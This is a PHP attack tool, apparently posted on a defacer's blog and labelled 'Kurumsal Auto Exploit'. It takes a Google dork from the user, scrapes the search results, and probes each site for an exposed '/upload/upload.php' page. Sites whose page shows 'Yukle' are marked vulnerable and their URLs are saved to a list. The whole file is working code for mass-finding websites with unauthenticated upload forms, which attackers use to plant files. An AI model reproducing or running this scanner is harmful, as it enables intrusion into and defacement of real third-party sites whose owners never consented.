kimcilc0de.blogspot.com Kurumsal Auto Exploit

<?php
/*
script by Garuda CYber attacker Coded by UnknownYmouz //dont change copyright
Thx to DC, HN
*/
class balit{
    private $url;
    private $dork;
    private $log=null;
    function __construct($file=null){
echo"
 _  ___                _ _  ____ ___      _
| |/ (_)_ __ ___   ___(_) |/ ___/ _ \  __| | ___
| ' /| | ._ ` _ \ / __| | | |  | | | |/ _` |/ _ \
| . \| | | | | | | (__| | | |__| |_| | (_| |  __/
|_|\_\_|_| |_| |_|\___|_|_|\____\___/ \__._|\___|";

        echo "/*Kurumsal Exploit Scanner By UnknownYmouz*/\n\n";
        echo "[+]Masukkan Dork: ";
        $fp = fopen("php://stdin", "rb");
        $dork = fgets($fp);
        $dork = str_replace(array("\n", "\r", "\r\n"), "", $dork);
        echo "[+]Masukkan jumlah situs yg discan: ";
        $total = fgets($fp);
        $total = str_replace(array("\n", "\r", "\r\n"), "", $total);
        fclose($fp);
        $this->dork = $dork;
        $this->total = $total;
        $this->log = $file;
        $this->scan();
    }
    function match($start, $end, $var){
        return preg_match_all("{".preg_quote($start).'(.*?)'.preg_quote($end)."}is", $var, $m) ? $m[1] : null;
    }
    function curl($dork=null, $x, $url=null){
        $ch = curl_init();
        if($dork != null && is_numeric($x)){
            curl_setopt($ch, CURLOPT_URL, "http://www.google.com/custom?q=".urlencode($dork)."&btnG=Search&start=".urlencode($x));
        }elseif($url != null && $x==null){
            curl_setopt($ch, CURLOPT_URL, $url);
        }
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_AUTOREFERER, true );
        curl_setopt($ch, CURLOPT_FAILONERROR, true);
        $exec = curl_exec($ch);
        curl_close($ch);
        return $exec;
    }
    function save($url){
        if($this->log != null){
            $fp = @fopen($this->log, "a") or die("cant open file");
            fwrite($fp, $url);
            fclose($fp);
        }else return false;
    }
    function parse($urls){
        for($a=0; $a<count($urls); $a++){
            $dev = parse_url($urls[$a]);
            @$scheme[] = $dev['scheme'];
            @$host[] = $dev['host'];
        }
        $unik = array_unique($host);
        foreach($unik as $key=>$url){
            $urls_[] = $scheme[$key]."://".$url;
        }
        return $urls_;
    }
    function waktu($start){
        $end = time() - $start;
        $detik = round($end);
        echo "\n~selesai dalam {$detik} detik\n";
    }
    function scan(){
        $start=0;
        $total=0;
        $mulai = time();
        do{
            $i=0;
            $data = $this->curl($this->dork, $start);
            $urls = $this->match('<a class="l" href="', '" onmousedown="', $data);
            if($urls==null){
                echo "~hasil tidak ada\n";
                $this->waktu($mulai);
                exit;
            }
            $urls_ = $this->parse($urls);
            $count = count($urls_);
            if($count==0){
                echo "hasil tidak ada atau ada halangan captcha :p\n~keluar";
                $this->waktu($mulai);
                exit;
            }
            do{
                $urlq = $urls_[$i];
                $url_ = $urlq."/upload/upload.php";
                $scan = $this->curl(null, null, $url_);
                if(preg_match("#Yukle#", $scan)){
                    echo $urlq." -> vuln";
                    $admin = $this->curl(null, null, $urlq."/upload/upload.php");
                    if(preg_match('#Yukle#', $admin)){
                        $dir = " ($urlq/upload/upload.php)";
                    }else{
                        $dir = " (NO.!)";
                    }
                    echo $dir."\n";
					$this->save("$urlq/upload/upload.php\r\n");

                }else echo $urlq." -> NOT VULN\n";
                $total++;
                $i++;
            }while($i<$count && $total<$this->total);
            $start=$start+10;
        }while($total<$this->total);
        $this->waktu($mulai);

    }
}
$gay = new balit("site_vuln_kurumsal.txt");
?>